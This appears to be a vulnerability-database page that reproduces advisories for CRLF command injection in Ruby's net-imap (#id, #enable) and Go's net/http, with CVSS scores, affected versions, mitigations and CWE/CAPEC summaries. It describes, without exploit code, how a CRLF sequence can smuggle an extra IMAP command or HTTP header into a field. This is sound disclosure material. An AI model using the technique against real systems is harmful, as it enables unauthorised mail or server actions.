Untrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.

Mitigation

Update to a version of net-imap which validates #id and #enable arguments.

Untrusted inputs should never be used for #enable arguments.

If net-imap cannot be upgraded: * do not use untrusted inputs for client ID field values * or add validation that client ID field values must not contain any CR or LF bytes.

Severity
5.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.4"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.6.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.14"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-09T20:31:52Z",
    "nvd_published_at": "2026-06-22T21:16:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nTwo `Net::IMAP` commands, `#id` and `#enable`, do not validate their arguments.  Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.\n\nPlease note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.\n\n### Details\n\nWhen `Net::IMAP#id` is called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.\n\nWhile `Net::IMAP#enable` does process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms).  The `#to_s` value is sent verbatim.\n\n### Impact\n\nThis is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.\n\nThe documentation for `#enable` explicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior.  Using arbitrary untrusted user input for `#enable` will always be inappropriate.\n\nAlthough client ID field values will most commonly be static and hardcoded, dynamic input sources may be used.  For example, client ID fields may be set by configuration or version numbers.  Using untrusted user inputs for client ID fields is expected to be uncommon.  But any untrusted inputs to client ID can trivially exploit this vulnerability.\n\nUntrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system\u0027s attributes, e.g.: shared mail folders or the application\u0027s installed response handlers.\n\n### Mitigation\n\nUpdate to a version of `net-imap` which validates `#id` and `#enable` arguments.\n\nUntrusted inputs should _never_ be used for `#enable` arguments.\n\nIf `net-imap` cannot be upgraded:\n* do not use untrusted inputs for client ID field values\n* or add validation that client ID field values must not contain any CR or LF bytes.",
  "id": "GHSA-46q3-7gv7-qmgg",
  "modified": "2026-07-06T22:54:06Z",
  "published": "2026-06-09T20:31:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-46q3-7gv7-qmgg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47242"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-47242.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47242"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Net::IMAP: Command Injection via ID command argument"
}

GHSA-46V6-2C7G-7HFG

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

An issue was discovered in net/http in Go 1.11.5. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the second argument to http.NewRequest with \r\n followed by an HTTP header or a Redis command.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-9741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-13T08:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in net/http in Go 1.11.5. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the second argument to http.NewRequest with \\r\\n followed by an HTTP header or a Redis command.",
  "id": "GHSA-46v6-2c7g-7hfg",
  "modified": "2022-05-13T01:11:23Z",
  "published": "2022-05-13T01:11:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9741"
    },
    {
      "type": "WEB",
      "url": "https://github.com/golang/go/issues/30794"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1300"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1519"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/04/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TOOVCEPQM7TZA6VEZEEB7QZABXNHQEHH"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107432"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

← Back to the CWE list